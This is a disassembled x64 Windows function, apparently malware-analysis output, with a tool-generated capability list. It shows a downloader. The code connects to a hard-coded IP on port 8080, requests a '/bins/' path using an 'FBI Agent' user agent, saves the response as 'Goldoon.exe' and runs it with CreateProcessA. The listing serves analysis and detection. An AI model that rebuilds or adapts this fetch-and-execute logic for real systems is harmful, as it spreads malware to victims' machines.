Function at 0x140001e4f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x338
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2e0], rcx
mov rax, rsp
mov rsi, rax
lea rax, [rbp + 0x70]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001e92
mov eax, 0
jmp 0x140002661
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x268], rax
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0
mov word [rbp + 0x60], 2
mov r8d, 0xa
mov edx, 0
lea rax, str.8080
mov rcx, rax
call sym.custom_strtol
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x62], ax
lea rax, str.94.228.168.60
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x64], eax
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x268]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
jns 0x140001f48
mov rax, qword [rbp + 0x268]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov eax, 0
jmp 0x140002661
lea rax, str.x86_64_w64_mingw32
mov rcx, rax
call sym.custom_strlen
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
movsxd rdx, eax
sub rdx, 1
mov qword [rbp + 0x260], rdx
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003da0
sub rsp, rax
lea rax, [rsp + 0x50]
add rax, 0
mov qword [rbp + 0x258], rax
lea rax, str.x86_64_w64_mingw32
mov rcx, rax
call sym.custom_strlen
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
movsxd rdx, eax
sub rdx, 1
mov qword [rbp + 0x250], rdx
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003da0
sub rsp, rax
lea rax, [rsp + 0x50]
add rax, 0
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x258]
mov rdx, rax
lea rax, str.windows
mov rcx, rax
call sym.xor_string
mov rax, qword [rbp + 0x248]
mov rdx, rax
lea rax, str.x86_64_w64_mingw32
mov rcx, rax
call sym.xor_string
mov rax, qword [rbp + 0x258]
mov rcx, rax
call sym.custom_strlen
lea ebx, [rax + 0x4a]
mov rax, qword [rbp + 0x248]
mov rcx, rax
call sym.custom_strlen
add eax, ebx
lea ebx, [rax + 0xf]
lea rax, str.94.228.168.60
mov rcx, rax
call sym.custom_strlen
add eax, ebx
cdqe
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x240]
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0x238], rdx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003da0
sub rsp, rax
lea rax, [rsp + 0x50]
add rax, 0
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x230]
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x2a4], 0
jmp 0x1400020d2
mov rax, qword [rbp + 0x2a8]
lea rdx, [rax + 1]
mov qword [rbp + 0x2a8], rdx
mov edx, dword [rbp + 0x2a4]
movsxd rdx, edx
lea rcx, str.GET__bins_
movzx edx, byte [rdx + rcx]
mov byte [rax], dl
add dword [rbp + 0x2a4], 1
mov eax, dword [rbp + 0x2a4]
cdqe
lea rdx, str.GET__bins_
movzx eax, byte [rax + rdx]
test al, al
jne 0x1400020a3
mov dword [rbp + 0x2a0], 0
jmp 0x140002124
mov rax, qword [rbp + 0x2a8]
lea rdx, [rax + 1]
mov qword [rbp + 0x2a8], rdx
mov rcx, qword [rbp + 0x258]
mov edx, dword [rbp + 0x2a0]
movsxd rdx, edx
movzx edx, byte [rcx + rdx]
mov byte [rax], dl
add dword [rbp + 0x2a0], 1
mov rdx, qword [rbp + 0x258]
mov eax, dword [rbp + 0x2a0]
cdqe
movzx eax, byte [rdx + rax]
test al, al
jne 0x1400020f5
mov rax, qword [rbp + 0x2a8]
lea rdx, [rax + 1]
mov qword [rbp + 0x2a8], rdx
mov byte [rax], 0x2f
mov dword [rbp + 0x29c], 0
jmp 0x14000218b
mov rax, qword [rbp + 0x2a8]
lea rdx, [rax + 1]
mov qword [rbp + 0x2a8], rdx
mov rcx, qword [rbp + 0x248]
mov edx, dword [rbp + 0x29c]
movsxd rdx, edx
movzx edx, byte [rcx + rdx]
mov byte [rax], dl
add dword [rbp + 0x29c], 1
mov rdx, qword [rbp + 0x248]
mov eax, dword [rbp + 0x29c]
cdqe
movzx eax, byte [rdx + rax]
test al, al
jne 0x14000215c
mov dword [rbp + 0x298], 0
jmp 0x1400021dd
mov rax, qword [rbp + 0x2a8]
lea rdx, [rax + 1]
mov qword [rbp + 0x2a8], rdx
mov edx, dword [rbp + 0x298]
movsxd rdx, edx
lea rcx, str._HTTP_1.1_r_nHost:
movzx edx, byte [rdx + rcx]
mov byte [rax], dl
add dword [rbp + 0x298], 1
mov eax, dword [rbp + 0x298]
cdqe
lea rdx, str._HTTP_1.1_r_nHost:
movzx eax, byte [rax + rdx]
test al, al
jne 0x1400021ae
mov dword [rbp + 0x294], 0
jmp 0x14000222f
mov rax, qword [rbp + 0x2a8]
lea rdx, [rax + 1]
mov qword [rbp + 0x2a8], rdx
mov edx, dword [rbp + 0x294]
movsxd rdx, edx
lea rcx, str.94.228.168.60
movzx edx, byte [rdx + rcx]
mov byte [rax], dl
add dword [rbp + 0x294], 1
mov eax, dword [rbp + 0x294]
cdqe
lea rdx, str.94.228.168.60
movzx eax, byte [rax + rdx]
test al, al
jne 0x140002200
mov dword [rbp + 0x290], 0
jmp 0x140002281
mov rax, qword [rbp + 0x2a8]
lea rdx, [rax + 1]
mov qword [rbp + 0x2a8], rdx
mov edx, dword [rbp + 0x290]
movsxd rdx, edx
lea rcx, str._r_nConnection:_close_r_nUser_Agent:_FBI_Agent__Checking_You__r_n_r_n
movzx edx, byte [rdx + rcx]
mov byte [rax], dl
add dword [rbp + 0x290], 1
mov eax, dword [rbp + 0x290]
cdqe
lea rdx, str._r_nConnection:_close_r_nUser_Agent:_FBI_Agent__Checking_You__r_n_r_n
movzx eax, byte [rax + rdx]
test al, al
jne 0x140002252
mov rdx, qword [rbp + 0x230]
mov rax, qword [rbp + 0x240]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x240]
mov ecx, eax
mov rdx, qword [rbp + 0x230]
mov rax, qword [rbp + 0x268]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
test eax, eax
jns 0x1400022e6
mov eax, 0
jmp 0x140002661
call sym.findAccessibleDirectory
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 0
jne 0x14000230a
lea rax, [0x14000618e]
mov qword [rbp + 0x288], rax
lea rax, str.Goldoon.exe
mov rcx, rax
call sym.custom_strlen
mov ebx, eax
mov rax, qword [rbp + 0x288]
mov rcx, rax
call sym.custom_strlen
add eax, ebx
add eax, 1
movsxd rdx, eax
sub rdx, 1
mov qword [rbp + 0x228], rdx
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003da0
sub rsp, rax
lea rax, [rsp + 0x50]
add rax, 0
mov qword [rbp + 0x220], rax
mov dword [rbp + 0x284], 0
jmp 0x14000239e
mov eax, dword [rbp + 0x284]
movsxd rdx, eax
mov rax, qword [rbp + 0x288]
add rax, rdx
movzx ecx, byte [rax]
mov rdx, qword [rbp + 0x220]
mov eax, dword [rbp + 0x284]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x284], 1
mov eax, dword [rbp + 0x284]
movsxd rdx, eax
mov rax, qword [rbp + 0x288]
add rax, rdx
movzx eax, byte [rax]
test al, al
jne 0x14000236f
mov dword [rbp + 0x280], 0
jmp 0x1400023fa
mov eax, dword [rbp + 0x284]
lea edx, [rax + 1]
mov dword [rbp + 0x284], edx
mov edx, dword [rbp + 0x280]
movsxd rdx, edx
lea rcx, str.Goldoon.exe
movzx ecx, byte [rdx + rcx]
mov rdx, qword [rbp + 0x220]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x280], 1
mov eax, dword [rbp + 0x280]
cdqe
lea rdx, str.Goldoon.exe
movzx eax, byte [rax + rdx]
test al, al
jne 0x1400023c4
mov rdx, qword [rbp + 0x220]
mov eax, dword [rbp + 0x284]
cdqe
mov byte [rdx + rax], 0
mov rdx, qword [rbp + 0x220]
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sym.download_file
test eax, eax
je 0x140002649
mov rax, rsp
mov rdi, rax
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], 0
lea rax, [rbp + 0x40]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x220]
mov rcx, rax
call sym.custom_strlen
mov ebx, eax
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.custom_strlen
add eax, ebx
add eax, 2
movsxd rdx, eax
sub rdx, 1
mov qword [rbp + 0x218], rdx
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003da0
sub rsp, rax
lea rax, [rsp + 0x50]
add rax, 0
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x278], rax
mov dword [rbp + 0x274], 0
jmp 0x14000252c
mov rax, qword [rbp + 0x278]
lea rdx, [rax + 1]
mov qword [rbp + 0x278], rdx
mov rcx, qword [rbp + 0x220]
mov edx, dword [rbp + 0x274]
movsxd rdx, edx
movzx edx, byte [rcx + rdx]
mov byte [rax], dl
add dword [rbp + 0x274], 1
mov rdx, qword [rbp + 0x220]
mov eax, dword [rbp + 0x274]
cdqe
movzx eax, byte [rdx + rax]
test al, al
jne 0x1400024fd
mov rax, qword [rbp + 0x278]
lea rdx, [rax + 1]
mov qword [rbp + 0x278], rdx
mov byte [rax], 0x20
mov dword [rbp + 0x270], 0
jmp 0x140002596
mov eax, dword [rbp + 0x270]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e0]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x278]
lea rdx, [rax + 1]
mov qword [rbp + 0x278], rdx
movzx edx, byte [rcx]
mov byte [rax], dl
add dword [rbp + 0x270], 1
mov eax, dword [rbp + 0x270]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e0]
add rax, rdx
movzx eax, byte [rax]
test al, al
jne 0x140002564
mov rax, qword [rbp + 0x278]
mov byte [rax], 0
mov rdx, qword [rbp + 0x210]
mov rax, qword [rbp + 0x220]
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x14000261f
mov eax, 1
jmp 0x140002644
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
mov rsp, rdi
jmp 0x140002661
mov rax, qword [rbp + 0x268]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov eax, 0
mov rsp, rsi
lea rsp, [rbp + 0x2b8]
pop rbx
pop rsi
pop rdi
pop rbp
ret